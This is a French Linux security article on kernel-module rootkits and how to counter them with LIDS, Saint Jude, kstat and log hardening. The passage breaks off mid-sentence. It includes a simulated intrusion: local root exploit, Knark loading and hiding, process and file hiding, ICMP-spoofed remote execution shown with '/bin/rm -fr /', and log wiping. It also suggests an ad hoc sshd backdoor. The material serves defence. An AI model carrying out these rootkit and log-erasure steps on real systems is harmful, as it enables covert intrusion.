La sécurité sous linux est une bien large affaire. Dans cette article nous allons voir comment se proteger de ses simple-utilisateur ainsi que des hackers, et comment parer leur outils en cas de compromission au level root. Nous aborderons une notion fondamentale et pourtant peu connu de la sécurité sous linux, qui est l'utilisation de modules. Nous allons voir comment un simple-utilisateur pourrait prendre le contrôle total de votre machine, en passant root puis en implémentant les nouvelles rootkit dont l'on entend beaucoup parler en ce moment comme Adore ou Knark. J'expliquerai comment à notre tour tirer profit de la puissance des modules en implémentant des techniques qui rendront vaine toutes tentatives de rootkitage du système.
[- Note -]
Une rootkit est un outils dont disposent les pirates
pour se cacher au sein de votre
système une fois
compromis et pouvoir
effectuer
les actions qu'ils veulent de
manière discrète. La rootkit contient
souvent une
backdoor ( porte
arrière pour revenir sur le
système
permettant
aux intrus
de revenir).
Actuellement il
existe deux types de rootkit :
"l'ancienne
génération
", qui remplace des binaires
du systèmes
pour cacher
l'activité de votre pirate.
Elles modifient
généralement
ps, ls, netstat, du , find, etc. par des binaires reprogrammes qui
n'affichent
pas
certains fichiers,
certain processus ou certaine connexion. Puis il y a
les rootkits de
la nouvelles
génération. Ce sont des
modules destiner
à être charger par le kernel
linux. La
puissance des modules
lorsqu'elle est au profit des pirate aboutit
a des désastres
pour les
administrateurs : alors qu'ils ne se
passent absolument rien d'anormal sur leur
système (à
première
vue), celui ci est sous le contrôle
total d'intrus.
Linux est une plate-forme ou il est possible d'atteindre un très haut niveau de sécurité facilement, simplement en configurant sa machine correctement. Il n'y a pas beaucoup de types de failles sous linux, mais celle ci se retrouvent dans un très grand nombre d'applications. Si l'une d'elle est lancée avec un uid 0, alors il est possible pour un intrus de pénétrer votre système en détournant ce programme de sa fonction originale et en lui faisant passer des commandes. Elles sont dû a des négligences de la part des programmeurs, qui ont utiliser des fonctions connues comme créant des vulnérabilités. Nous avons déjà vu quelles sont ces failles dans la série d'article "Éviter les failles de sécurité dès le développement d'une application" de Frederic Raynal, Christian Blaess et Christophe Grenier. Il s'agit généralement de problèmes liés au fait que certaines fonctions vont permettrent aux utilisateurs d'écrire en mémoire, ou même d'y lire. Ainsi un pirate peut réécrire en mémoire des commandes à passer et les faire exécuter par ce programmes, profitant de ses droits/privilèges. Il vous est possible d'éliminer les risques de compromissions dû aux buffer overflow (qui permettent d'écrire en mémoire au-delà des limites du buffer alloué pour la saisie de donnée provenant de l'utilisateur) ou aux bugs de format en installant un patch empêchant d'exécuter du code dans la pile (c'est la que les pirates insèrent le code à exécuter lors de l'exploitation). Parmi les outils les plus utilisés pour prévenir ce genre d'attaque on trouve LibSafe qui un wrapper software qui intercepte les appels de fonctions connus pour être vulnérables aux librairies standards puis y substitue une version correspondante qui va vérifier qu'aucun buffer overflow ne se cache dans la pile et donc empêcher toute tentative d'écriture ou de détournement d'un programme. Il existe agelement des patchs tels que StackGuard qui va protéger l'adresse de retour de pile ou FormatGuard qui va vérifier si le nombre d'argument passé à une fonction printf() correspond aux directives %, ces 2 projets étant intégrés au projet Immunix.
Afin de se protéger, il faut savoir comment les pirates vont procéder. La quasi-totalité des pirates vont se contenter d'aller chercher les exploits (programmes permettant l'exploitation des failles) et de les lancer à l'attaque de vos machines. Si vous possédez une machine inutilisée, je vous conseille de faire de même par exemple pour vous renseigner sur le comportement et la culture de l'intrus ou si vous avez de meilleures compétences pour développer une signature pour un IDS (Intrusion Detection System) tel que Snort ou encore un test d'attaque pour le scanner de vulnérabilité Nessus. Allez sur hack.co.za ou sur darknet.hack.be et aller regarder dans la liste d'exploit correspondant à votre os. Vous détenez maintenant les mêmes armes que vos ennemis. Les exploits se classent en 2 partie : les exploits en remote et ceux en local.
[- Retirer les failles -]
Ceux en local exploitent des failles
contenues dans des binaires suid
root sur votre
système, il vous suffit de changer la permission avec :
chmod -s binaire.
Pour les exploits en remote, la meilleure
chose est de
désactiver
le service
(éditez /etc/inetd.conf ,
mettez le
service
vulnérable
en
commentaire
par un # devant et
relancez
inetd par
un kill
-HUP, ou bien killez le
processus vulnérable
et retirez le de /etc/rc.d/rcX.d/ ou X est le
runlevel dans lequel vous
démarrez). Il vous suffit de venir voir de temps
à autre si il n'existe pas une
nouvel exploit contre votre os.
Après avoir fait cela pour chacune
des failles, vos risques d'intrusion sont de 95%
réduit ou
du moins
allié à
une
configuration
firewall
minimale
votre
système
est il a
l'abri des
simples
script
kiddies. Bien souvent il existe des faille au sein
même des processus
lancés
par default au
démarrage, c'est par ce biais que le vers ramen se propagea
sur les machine linux
Red Hat 6.2 et 7.0 en exploitant une faille dans le
daemon
lpd, ainsi que dans le
daemon ftp. Si il ne vous est pas possible
de retirer le service
vulnérable,
tentez de
l'updater.
Je vous conseille d'installer
l'un des patchs de
de
protéction
de pile
cités
plus haut. Ce type de patch
vont extrêmement
compliquer l'exploitation de buffer overflow en
empêchant
le code destinée
à ouvrir un shell de
s'exécuter. De nombreux patch kernel
existe qui
s'occupe de patcher ces failles. La modification de sys_symlink ou
plus directement
du kernel peut
également
être une bonne chose
- si vous
en avez
les
compétences,
que vous
savez ce
que vous
faites - pour
empêcher les utilisateurs
de faire des liens vers des fichiers dont il
n'ont pas
les droits.
Ces patchs proposent une foule d'actions
intéressante,
généralement
destiner
à rendre ardue une
intrusion dans le
système au level root et surtout
à protéger
certains
fichiers
ou
processus même
de son
propre
admin. Nous verrons plus loin comment installer un de ces patch (LIDS)
qui
implémente
la
protection
et/ou la
dissimulation
de
fichiers
et
processus
ainsi que
d'autres
petites
choses
utiles
comme un
contrôle
d'accès
(ACL) ou
la
détection
de port
scan puis
nous
jugerons
de son
efficacité.
Maintenant, nous allons voir que fera un pirate sur votre
système, les
outils dont
il dispose et comment le
repérer. Je vais
donc maintenant simuler ce que ferait un pirate et nous allons ensuite
voir comment parer une
à une ses
méthodes.
Ici je simule un "rootage" en local , mais la
manière n'a pas d'importance.
Je vais installer une rootkit sur le
système et
présenter
quelques une des
actions qu'il
est possible de
réaliser.
[- Simulation d'une intrusion -]
[sauron@localhost
sauron]$ ./epcs2
bug exploited
successfully.
enjoy!
sh-2.04# whoami
root
sh-2.04# ls -F
knark-0.59/ knark-0.59.tar.gzcleanlog.sh*
sh-2.04# cd knark-0.59
sh-2.04# make
# installation de la rootkit knark.
(...)
sh-2.04# ls
Makefile README ered*
hidef* knark.o modhide.o
nethide* rexec*rootme*src/
sh-2.04#
PATH=$PATH:/sbin:/usr/sbin
sh-2.04# insmod knark.o && insmod
modhide.o 2&>1 # Ici je charge le module de la rootkit et je le cache
grace a un seconde module.
sh-2.04# lsmod
# On s'apercoit ici que la commande lsmod ne laisse pas apparaitre le
Module
Size Used by
# module pourtant charger.
bsd_comp
4080 0 (autoclean)
ppp
20976 0 (autoclean) [ppp_deflate
bsd_comp]
slhc
4544 0 (autoclean)
[ppp]
es1371
24656 0
nls_cp437
3952 2 (autoclean)
ide-scsi
7664 0
sh-2.04# cat /proc/modules
# Le module knark n'apparait pas non plus dans /proc/modules.
Module
Size Used by
bsd_comp
4080 0 (autoclean)
ppp
20976 0 (autoclean) [ppp_deflate
bsd_comp]
slhc
4544 0 (autoclean)
[ppp]
es1371
24656 0
nls_cp437
3952 2 (autoclean)
ide-scsi
7664 0
sh-2.04# cat > test-redirection.sh
<< EOF # Le rootkit enbarque un outils qui permet de
rediriger l'execution de programme.
> #!/bin/sh
# Ainsi sans modifier le binaire on peut faire executer un autre programme
lorsque
> echo salut !
# celui ci est appeler. Ici je vais le test avec /bin/ps que je redirige
vers un script shell.
> EOF
# Les anciennes rootkit comme t0rn trojanisaient les binaires du systeme,
c'est
sh-2.04# ./ered /bin/ps test-redirection.sh
# pourquoi des outils comme tripwire prennent des empreinte de ces binaires
afin de les
sh-2.04# ps
# detecter lors de comparaison si ils sont detecter. Avec les rootkits
par modules, ce types
salut !
# d'outils devient inutile. Cependant il peut etre bon de laisser tripwire
dans votre cron.
sh-2.04# ./ered -c
# Ici le message salut ! prouve que l'execution de ps a ete rediriger.
# Heuresement avec ./ered -c on retire toutes les redirections en
executions.
ered.c by Creed @ #hack.se 1999 <creed@sekure.net>
Done. Redirect list is
cleared.
sh-2.04# echo sleep 100 >> test-ps.sh
# Nous allons maintenant essayer de nos processus.
sh-2.04# sh test-ps.sh &
sh-2.04# ps
PID TTY
TIME CMD
2396 pts/0 00:00:00
bash
2410 pts/0 00:00:00
su
2499 pts/0 00:00:00
sh
2540 pts/0 00:00:00
sh
2541 pts/0 00:00:00
sleep
# Notre programme apparait. Le pid 2541 lui a ete attribuer.
2545 pts/0 00:00:00
ps
sh-2.04# kill -31 2541
# A l'envoit d'un signal 31 le processus va devenir invisible grace au
module.
sh-2.04# ps
PID TTY
TIME CMD
2396 pts/0 00:00:00
bash
2410 pts/0 00:00:00
su
2499 pts/0 00:00:00
sh
2540 pts/0 00:00:00
sh
2546 pts/0 00:00:00
ps
# En effet il n'apparait plus.
sh-2.04# kill 2541
[1]+ Terminated
sh test-ps.sh
sh-2.04#
./rexec
# Une autre option effrayante est l'execution a distance via des host spoofez
# a travers les trames ICMP echo reply ( ping ) ! Cela permet
d'executer
des
rexec.c by Creed @ #hack.se 1999 <creed@sekure.net>
# en root a distance sur votre systeme sans etre logez et en passant le
firewall !!
Usage:
./rexec <src_addr> <dst_addr> <command>
[args ...]
ex: ./rexec www.microsoft.com 192.168.1.77
/bin/rm -fr /
sh-2.04#
./rexec localhost localhost touch /tmp/Blah
# Essayons de passer une commande...
rexec.c by Creed @ #hack.se 1999 <creed@sekure.net>
Done. exec "touch /tmp/Blah" requested on localhost from localhost
sh-2.04# ls -lga /tmp | grep Blah
# Tres efficasses et surtout imparable !
-rw-r--r-- 1 root root
0 Jun 7 01:40 Blah
sh-2.04# pwd
/home/sauron/knark-0.59
sh-2.04# ./hidef `pwd`
# hidef propose de cacher fichier et repertoire.
sh-2.04# cd ..
sh-2.04# ls
knark-0.59.tar.gz cleanlog.sh*
# En effet le repertoire n'apparait pas.
sh-2.04# rmmod knark
rmmod: module knark is not loaded
# Le module ne peut pas etre retirer !
sh-2.04# sh cleanlog.sh <hostname_domainam_ipHacker> 2&>1
& # Pour achever le pirate enleve les traces de sa visite.
sh-2.04# sh .lastlogcleaner.sh -user sauron &
# "who" n'affichera plus
l'utilsateur
sauron.
sh-2.04# vi
/etc/syslog.conf
sh-2.04# kill -SIGHUP `cat /var/run/syslogd.pid`
# Le pirate ajuste le logging a son gout sans changer le pid de syslog
!
sh-2.04# vi /root/.bash_history
# l'exploration de votre systeme et de vos habitude peut commencer pour
lui.
La
démonstration
est courte
mais elle est parlante. Une fois le
système compromis il est
désormais
possible
à un pirate de cacher toute ses
activités
et de
backdoorer votre
système d'une
manière très
efficace. Puisqu'il peut passer des commandes
sur votre système
de manière
non détectable, rien ne
l'empeche de lancer
un sshd -d -p 1337
afin d'ouvrir une session ssh pour une seule connexion. Il est probable
que le système
est été
modifié pour ne plus
loger ses activités
:-/
Nous allons voir comment mettre la puissance des modules
kernel de notre
côté
et comment parer ce type d'attaque. Le but
étant de ne pas le
laisser
devenir root,
et même si c'est le cas, ne pas le
laisser activer une rootkit.
Le seul moyen de détecter ce pirate, serait de réduire à néant l'effet de knark, puis de lister les terminaux ouverts en regardant quelle uid est attribuée. Si un shell est lancé sous un nom d'utilisateur qui n'apparaît pas avec la commande who, alors cela signifie que lastlog a été nettoyé. Par ailleurs la présence d'un /bin/sh en root vous avertira !
Afin qu'aucun pirate ne fasse la même chose chez vous, il vous faut comprendre comment marche les rootkits modules. Les rootkits modules une fois chargés vont aller modifier la table des appels système et faire pointer certains syscall vers de nouvelles fonctions implémentées. Ces syscall sont par exemple sys_read pour empêcher de voir certaines chaînes de caractères dans un fichier (un utilisateur supplémentaire dans /etc/passwd par exemple), sys_getuid pour donner des droits root à un utilisateur qui ne l'est pas, etc. Vous aurez compris que l'on peut détourner ces fonctions directement liées au kernel, qui vont influer sur tous les binaires du système qui les appelleront, sans que l'on ait à les modifier. Cela permet donc de contourner tout les outils de sécurité qui se contentent de faire une empreinte du filesystem comme Tripwire ou AIDE.
[- Empêcher les outils des pirates de fonctionner -]
Afin
d'éviter que des modules de rootkit soit
efficace, j'ai
programmé
un module qui va
créer un nouvel appel
système. Celui ci lorsqu'on l'appelle remet la sys_call_table dans
l'état ou
il l'a trouver lorsqu'il a
été chargée
de la
même
manière
qu'un
système
de
fichiers
journalisé
le ferait
pour des
données
;). En l'insérant a un moment ou le
système est sain, vous vous assurez
une parade
efficace contre les rootkit comme
knark, adore,
etc. Si en plus vous
ajoutez le programme appelant le syscall dans
vos
scripts
cron, alors vous
n'avez plus
redouter les
rootkits
ou du
moins les
détournements
de syscall.
Un pirate
pourrait parer cette protection de
2 manière
: en rechargeant
un module qui modifierai le syscall
ajouté (ce qui
nécessiterai
que votre
pirate maîtrise
la programmation
de modules
kernel,
vous
n'avez
donc pas
affaire à
un
débutant), c'est pour cela que je vous
conseille de choisir un
numéro à
la compilation.
Le pirate pourrait,
après avoir recharger un module, modifier en
exécution
le programme qui est dans vos
scripts cron et qui appelle mon module.
Je pense que la meilleur
méthode pour
empêcher un pirate de charger
son module est de rediriger
l'exécution de /sbin/insmod vers un binaire
qui sera identique mais
qui fera appel
à mon module
immédiatement
après. De cette
manière,
à chaque fois qu'un module est
chargé, la sys_call_table sera remise en
état au cas
où il s'agirait d'un module
backdoor. Votre pirate aura beau compiler
et insérer
son module rien ne se passera.
Les rootkit des pirates trimballent avec elles quelques outils tout à fait intéressants. Je pense par exemple à la redirection en exécution de fichier. Cela peut offrir une bonne parade à des rootkit comme t0rn qui se contente de modifier les binaires systèmes par des binaires backdoorisées. Voila ce que je propose : créer un répertoire et y placer une copie des binaires que des rootkit sont susceptibles de modifier (ls, ps, du, netstat, find, etc.). Maintenant rediriger /bin/ps sur /root/backup/ps, /bin/ls sur /root/backup/ls et ainsi de suite pour tout les binaires que vous avez choisis de sauvegarder. En faisant ca, les rootkit comme t0rn qui remplaceront vos binaires n'auront aucun effet puisqu'en réalité ils ne seront jamais exécuter. Le module pour la redirection de sortie est disponible avec knark, il est nommer rexec.c. Knark ainsi qu'une large collection de backdoors et rootkits sont disponibles sur OUAH.
Vous pouvez aussi allez vous même volontairement modifier des syscall via un module. Cela peut être intéressant pour patcher sys_symlink, pour vérifier qu'aucun fichier root n'est en train d'être linker par un simple utilisateur, auquel cas il faut l'interdire. Cela aura pour effet de réduire à néant les chances d'exploiter une faille dûe à la création prévisible d'un fichier par un processus root :-) ( Pour l'exploiter il suffit à un simple utilisateur de linker un fichier root avec un fichier inexistant qui sera écrit par un processus root, pour profiter des droit root du processus qui écrira son fichier et écrasera celui vers lequel le lien a été créé. cela permet par exemple d'effacer la configuration de TCP Wrapper dans /etc/hosts.deny. Une chose qui est certaine, c'est que le pirate essayera d'effacer son IP des log. Pour ce faire, il utilisera un programme qui s'occupera de la rechercher et d'effacer les lignes citant son IP dans les fichiers /var/log. Bien souvent, modifier la configuration de syslogd dans /etc/syslogd.conf suffit à empêcher votre pirate d'effacer ses logs. Je pense que un loger supplémentaire en plus de syslogd n'est pas de trop. Cachez celui-ci par un module ou bien donnez lui un nom anodin (i.e : lpd) pour ne pas que le pirate se mefie et cherche à retirer son IP de ces fichiers logs ci également. Il restera l'éventualité que le pirate recherche son IP sur l'ensemble du système mais il y perdrait en efficacité. Enfin, gardez le duo libpcap/tcpdump sous la main, et lancez le en cas de doute, il n'y a pas de meilleur loger :-)
Je pense qu'un firewall n'est pas de trop, ne serait-ce que pour empêcher n'importe qui de scanner votre réseau. Et si vous êtes paranoïaque, vous pouvez même installer scanlogd, une alternative à syslogd qui utilise les avantages de libpcap et libnids afin de détecter des scan furtifs puis de tout enregistrer. Dans un style similaire on trouve Port Sentry, partie intégrante du projet Abacus qui permet de repérer et de stopper toutes tentatives de scanning et ce de manière automatisée. Je vous conseille vivement d'opter pour OpenSSH si vous utilisez telnet. Pour des besoins plus personnalisés, je vous conseille d'utiliser Stunnel qui vous permet d'établir des connexions basée sur du tunneling SSL similaire à OpenSSL :-). Faite un man ipchains pour en savoir plus sur la mise en place d'un firewall ou si vous êtes en 2.4.* man netfilter pour profiter des dernières progrès en firewall comme le statefull. Tout ceci représente un temps d'administration et de configuration relativement important mais ce sera autant de données ou de machines non compromises ou de procédures judiciaires ou techniques en moins dans l'avenir.
Le choix du supports des logs est
très important. Si vous loggez tout
dans /var/log comme
configurer par default, vous pouvez
être certain
qu'un utilisateur une fois
root corrompra ces logs. Pour vous assurer que vos logs contiennent
bien toutes les
activité qu'il
se doit d'enregistrer, je vous conseille de
tout enregistrer sur une machine
distante. Seul le processus actif aura permission
d'accès en
écriture et
uniquement
lui, pas même
le root. Votre pirate ne
pourra ainsi pas
effacer
totalement
ses traces
des logs, et
cela le dissuadera d'entreprendre toute action
néfaste
à votre encontre.
Vous pouvez
également
les faire imprimer cependant attention
à la quantité
énorme de
log qui est chaque jour
enregistrée
par une
machine de
production
ou pire un
serveur. Si vous voulez gagner de la place
dans vos
logs, je vous conseille d'associer ipchains
à un détecteur
de scan.
/sbin/ipchains -I input -s <IpPirates> -j
DENY -l vous
permettra
d'empêcher le pirate
de mener
à bout son attaque
après vous avoir
scanné
(également
applicable
avec
l'utilisation
de Port
Sentry
cité plus
haut).
[- Ne pas donner d'information à l'attaquant -]
Les modules peuvent nous rendre bien des services dans le domaine de la sécurité, par exemple il existe des modules qui vont modifier le comportement de votre pile TCP/IP et qui vont ainsi vous protéger du TCP fingerprinting (détection distante de l'OS par prise d'empreinte en fonction du comportement de la pile tcp/ip - c'est l'option -O du fameux nmap). Votre machine passerait donc par exemple pour une machine Windows au yeux de nmap. Attention cependant aux modifications qui peuvent entraîner de nouvelles vulnérabilités notamment sur les numéros de séquence et leur générations. Actuellement les backdoors distribuées avec les nouvelles rootkits sont des modules permettant des commandes distantes de manière discrète (utilisation de covert channel), mais il est courant que des pirates "bind" un shell sur un port, c'est-à-dire redirige les flux d'entrée/sortie d'un shell sur un port ouvert pour l'occasion. Dans ce cas n'importe qui se connectant sur ce port peut se retrouver avec un shell root sur votre machine. Un simple ps -aux avec un port scanning de votre réseau vous fixera. Je vous conseille également de modifier /etc/issue, /etc/issue.net et les messages d'invite des services que vous utilisez en général.
[- Quelques mots sur Saint Jude et LIDS -]
Dans cette section, je vais
principalement
parler de
2 choses : le patch
kernel LIDS et ses
fonctionnalités et le module/patch
Saint
Jude.
Les 2
associés peuvent
fournir une
méthode efficace
pour vous protéger
des
intrusions. Saint Jude est un module linux qui va
empêcher toute
tentative de rootage. Saint Jude ne fait pas appel
à une banque de
donnée de signatures d'intrusion et est donc en mesure de
détecter toute tentative de compromission de votre
système sans qu'il soit
nécessaire
de mettre
quoi que
ce soit à
jour. Les tentatives de rootage, que ce soit en local
ou en
remote seront
détectée. Saint Jude va
en
pratique aller modifier les
syscall de la
même manière
que procéderait
un module
backdoor mais pour
sécuriser
le kernel cette fois. Voici la liste des syscall qu'il
modifie :
- sys_clone
- sys_execve
- sys_exit
- sys_fork
- sys_setreuid
- sys_setuid
Saint
Jude inclut
également
un module de redirection
d'exécution
comme
décrit
plus haut :)
Il offre quelques
fonctionnalités
bien sympathiques comme le fait de
pouvoir afficher un message au pirate qui tenterai de compromettre votre
système ( "stop to hack my system - the sysadmin " par default ;).
Je ne vais pas
m'étendre sur
Saint Jude mais il est
particulièrement
efficace et je le recommande
à tout administrateur.
LIDS quand
à lui permet de
protéger des fichiers
ou des
processus de votre
système même
du root qui normalement
a un accès
total au
système. En associant LIDS pour qu'il
protége le module de
Saint Jude, vous
vous assurez une
efficace protection.
Le code source de
Saint Jude est
particulièrement
intéressant
si les
modules
kernel Linux vous
intéressent, de plus il fonctionne sur quasiment tout
les noyaux linux actuellement
disponibles.N'ouibliez
pas d'installer le patch
fourni avec
Saint Jude (il
modifie uniquement
/usr/src/linux/kernel/ksyms.c)
cela vous évitera
de recompiler par
2 fois votre noyau (car LIDS
nécessite
également
la recompilation du kernel).
LIDS est un
système de
détection
d'intrusion et de
prévention
qui réside
directement dans le kernel linux. LIDS va
prévenir toute modification des
fichiers se trouvant dans sa configuration et
qualifiés comme "sensibles"
et autoriser les
accès uniquement en lecture. LIDS inclue d'autre protections
outre
celle des fichiers, comme par exemple la
protection
contre les
accès directs
en mémoire
ou contre les
accès raw
disk. LIDS va aussi
empêcher l'installation d'un sniffer ou encore la modification
des règles
du firewall.
Il propose de
générer un password
crypté avec RipeMD-160
et qui sera ensuite
installer dans le kernel. L'installation de LIDS est
extrêmement
simple et ce
fait sans aucun
problème :
./lidsad -P va d'abord vous
permettre de
générer un password. Puis il
vous faut
compiler le
fichier de configuration
standard pour votre
architecture dans
/usr/src/linux. Le patch s'installe comme suit :
cd /usr/src
patch -p0 </root/IDS/lids-0.9/lids-0.9-2.2.14-redhat.patch
LIDS contient pas mal de driver updatés, à en juger par la quantité de sources du kernel qu'il va modifier :) Finalement, j'ai configuré, compilé et installé le kernel :
cd /usr/src/linux
make menuconfig
make dep; make clean
make
install; make modules; make modules_install
Voila le menu que LIDS a ajouté et que vous verrez désormais dans la configuration du kernel :
[*] Linux Intrusion Detection System support
(EXPERIMENTAL)
--- LIDS features
[ ] Hang up console when raising a securit alert
[*] Security alert when execing unprotected programs before sealing
[ ] Do not execute unprotected programs before sealing LIDS
[*] Enable init children lock feature
[*] Try not to flood logs
(60) Authorised time between two identic logs (seconds)
[*] Allow switching LIDS protections
RipeMD-160 encrypted password: d502d92bfead11d1ef17887c9db07a78108859e8
(3) Number of attempts to submit password
(3) Time to wait after a fail (seconds)
[*] Allow remote users to switch LIDS protections
[ ] Allow any program to switch LIDS protections
[*] Allow reloading config. file
[ ] Hide some known processes
[*] Port Scanner Detector in kernel
[ ] Send security alerts through network
--- Special authorizations
[ ] Allow some known processes to access
/dev/mem (xfree, etc.)
[ ] Allow some known processes to access raw disk devices
[ ] Allow some known processes to access io ports
[ ] Allow some known processes to change routes
--- Special UPS
[*] Allow some known processes to unmount devices
Allowed
processes:
"/etc/rc.d/init.d/halt;/etc/rc.d/init.d/netfs"
[*] Unmounting capability is inherited
[*] Allow some known processes to kill init children
Allowed
processes:
"/etc/rc.d/init.d/halt"
[*] Killing capability is inherited
Avec un make menuconfig, ou make xconfig tout est plus clair :) Regardez les options et activez celle qui vous intéresse. Vous n'avez plus qu'a updater le kernel (/etc/lilo.conf puis rebootez). Voila votre kernel est désormais patché !
Attention ! :
Après avoir
installé
LIDS, vous devez le
configurer avant le prochain rebootage !
LIDS stocke sa configuration dans /etc/lids.conf. Ce fichier ne devant
jamais être
édité pour des raisons
évidentes, vous devez utilisez le programme
lidsadm. ./lidsadm -h vous renseignera
sur les option de LIDS. Il m' a
été nécessaire
de modifier un tout petit
peu la source de lidsadm.c pour le compiler :
[root@localhost lidsadm-0.9]# make
gcc -static -O2 -o lidsadm lidsadm.o rmd160.o sig_rmd160.o
read_pw.o
lidsadm.o: In function
`lids_update':
lidsadm.o(.text+0xd25): undefined reference to
`MINOR'
lidsadm.o(.text+0xd35): undefined reference to
`MAJOR'
lidsadm.o(.text+0xd4f): undefined reference to
`MINOR'
lidsadm.o(.text+0xd62): undefined reference to
`MAJOR'
[root@localhost lidsadm-0.9]# vi lidsadm.c
[root@localhost lidsadm-0.9]# make
gcc -O2 -c -o lidsadm.o lidsadm.c
gcc -static -O2 -o lidsadm lidsadm.o rmd160.o sig_rmd160.o
read_pw.o
[root@localhost lidsadm-0.9]#
Voici un exemple :
lidsadm -A -r /sbin # Désormais le répertoire /Sbin est protégé en écriture :)
Je vous recommande de protéger vos pages d'accueil - si vous stockez des pages web bien sûr - de la même manière, et pourquoi pas vos binaires système :
lidsadm -Z
lidsadm -A -r
/usr/bin
lidsadm -A -r
/bin
lidsadm -A -r
/usr/sbin
lidsadm -A -r
/sbin
lidsadm -A -r
/usr/X11R6/bin
lidsadm -A -r /etc/rc.d
# Important pour ne pas activer de backdoor au demarrage !
lidsadm -A -r
/etc/sysconfig
lidsadm -A -r /lib/modules/"kernel_version" # pour ne pas activer de module
rootkit au demarrage
# Mais pensez a y placer le mien avant d'appeler lidsadm !
Voila la commande pour activer LIDS dans le kernel. Vous pouvez ajouter des options et je vous recommende fortement de le faire pour atteindre un niveau de sécurité optimale. Vous ne devriez pas le lancer simplement dans rc.local comme il est conseillé avec LIDS.
/sbin/lidsadm -I --
-CAP_SYS_MODULE
-CAP_SYS_RAWIO
-CAP_SYS_ADMIN \
-CAP_SYS_PTRACE
-CAP_NET_ADMIN
-CAP_LINUX_IMMUTABLE \
+INIT_CHILDREN_LOCK
Et voila ! Je vous laisse paramètrer LIDS comme bon vous semble ! Maintenant voyons si il est réellement efficace :
[- Récapitulons les principales démarches à suivre pour ne pas craindre les pirates -]
1-
Identifiez et
désactivez
les services
vulnérables, et retirez les droits root en
exécution
aux binaires du
système
dont vous
savez
qu'elles
sont
vulnérables
(attention la
glibc comporte
également
des failles et il peut
être nécessaire
de l'updater). Ne laissez tourner sur votre machine QUE les services dont
vous avez
besoin et
ceux là correctement
patchés.
2-
Insérez mon module en
mémoire et mettez
le programme qui y fait
appelle dans vos
scripts cron (ou pensez
à le lancer de
temps à autres).
3- Faites une copie de vos binaires
système susceptibles
d'être
modifiés, et
redirigez
l'exécution des originaux vers
l'endroit ou vous stockerez ceux-ci.
4- Changer le
répertoire
et fichier de
log de syslogd dans /etc/syslogd.conf
5-
Faites
effectuer
à cron
une
vérification
à la
recherche
de nouveau
fichier
root dans
le répertoire
/home de
vos
utilisateurs
simples.
6-
Optionnellement, installez un
détecteur
de scanner ou encore un sniffer comme alternative
ou
complément
à syslogd.
7-
Optionnellement, installez un
Network IDS (Intrusion detection
System) comme
Snort ne peut pas faire de mal.
Et à
l'avenir
gardez un
oeil sur Trithème
;)
8- Ajoutez un script
à cron qui
s'occupera
de la
fastidieuse
analyse des fichiers de log
à votre place pour y
détecter des empreintes typique d'intrusion (certain
scan peuvent aussi
être détecter
grâce à
syslog, mais ce n'est pas
le cas de tout les scans furtifs). Ce type d'outils est
téléchargeable
un
peu
partout
(jetez un
oeil sur LogReport).
9- Pourquoi ne pas remplacer votre telnet
par un sshd ou votre http par un https ? Ces protocoles sont connus et
supportés
très
largement et il vous
protège de bien
des attaques. Si un sniffer est
installé sur votre
réseau, seul un
hacker expérimenté
pourra continuer
à sniffer les connexions crypter via
ssh par
des
attaques
man-in-the-middle
par
exemple. Et pour le service
https, celui ci est vital si vous utilisez
des CGI
sur un
serveur
web. Il
limitera
la
possibilité
de faire
des scans
de CGI (des outils
plus
évolués existent cependant
mais sont
peu
diffusés).
10-
Vérifiez que les processus avec lesquels
des pirates potentiels peuvent interagir ne tournent pas en root ! Si c'est
le cas et que ce n'est pas une
nécessité
passez le en nobody.
11- Ne pas laissez
filtrer
d'information
sur votre machine est
important.
Modifiez /etc/issue et /etc/issue.net ainsi
que les messages
d'invite
des
services
réseaux
que vous
fournissez. Et veillez
à ne pas
laisser de service tels que
finger ou
rpcinfo et
leurs
acolytes
à la
disposition
de tous.
12- Installez un patch de
sécurité
kernel comme LIDS, recompilez le kernel
et
rebootez.
Puis configurez LIDS pour
protéger vos fichiers sensibles
et/ou vos
outils de
sécurité
afin de
s'assurer
de leur
efficacité
et de leur
intégrité:)
En respectant ces 12 commandements, vous vous mettez à l'abri d'office de nombreuses attaques. Les pirates ou crashers étant des prédateurs préférant les cibles faciles afin de l'utiliser comme passerelle ou shell.
Pensez
à tapez la commande lastlog de temps
à autres, si un utilisateur
apparaît
ne s'être jamais
logé alors que ce n'est pas le cas, c'est
la preuve
que votre
système
et
probablement
le compte
incriminé
sont compromis
car la plupart des lastlog-cleaner effacent
toute les entrées, ou juste
l'entrée
utilisateur. Rares sont ceux qui
vont simplement
modifier les
données,
ce qui
serait
pourtant
plus
discret.
Si vous avez
à administrer un
réseau, je vous conseille de le scannez
à la recherche de sniffer (par
détection
du bit PROMISC)
par
exemple
grâce à AntiSniff
bien qu'il
existe là
encore des
contres
comme Obscura
de S0ftpj. Scannez
le également
avec nmap, pour
2 raisons :
il est important de savoir qu'elle information un hacker
tirera de votre
système grâce
à des outils
très répandus
comme nmap, et afin de
détecter si vous n'auriez pas
déjà été
compromis et qu'une backdoor n'est pas
active sur un port !
De plus faites un scan de votre
réseau avec
Nessus,
afin de
vous
rendre
compte de
la
vulnérabilité
de vos
machines
et de les
patcher au
plus vite. Si il s'agit
d'une faille
de type buffer
overflow et que le patch LIDS est
installé il n'est
toutefois pas
nécessaire
de stopper
le service
vulnérable.
[- Comment détecter que vous avez été rooté et qu'une rootkit de nouvelle génération est présente -]
Une petite astuce
afin de vérifier
que vos
utilisateurs
simples ne s'amusent pas
à vous
rooter, est de faire un find -user root /home
et vérifier
que de nouveaux fichiers root
ne sont pas apparus
d'une fois
sur l'autre. Si c'est le cas et que vous arrivez
à trouver un fichier de
l'intrus, faites une nouvelle recherche avec find en
précisant
le
timestamp du fichier
trouvé. Si votre pirate n'a pas
utilisé la commande touch pour changer
le
timestamp de chacun de
ses fichiers,
vous devriez vite
retrouver les autres.
Supposons
que rien n'est visible par lsmod et que l'attaquant
est en mesure de se cacher totalement... mais rassurez vous, nous avons
aussi de bons outils.
En utilisant
kstat,
programmé par
FuSyS de
S0ftpj, une security
team italienne, nous sommes en
mesure de voir
les modules
chargé et
dissimulés.
En effet kstat va chercher ses informations sans passer par les syscall
mais par /dev/kmem.
Ainsi la rootkit n'est plus
efficace. Sachez qu'il est possible de patcher
/dev/kmem,
méthode inventer par
Silvio Cesare et dont nous ne traiteront pas ici. (les rootkit
actuelles ne
l'implémentent pas et vous
ne devriez pas rencontrer de
problème de ce type
avant la
prochaine
génération
de lkm). kstat propose
nombre de
fonctionnalités
intéressantes
comme la liste des processus
actif, la liste des syscall et l'adresse
à laquelle ils sont (ou devraient
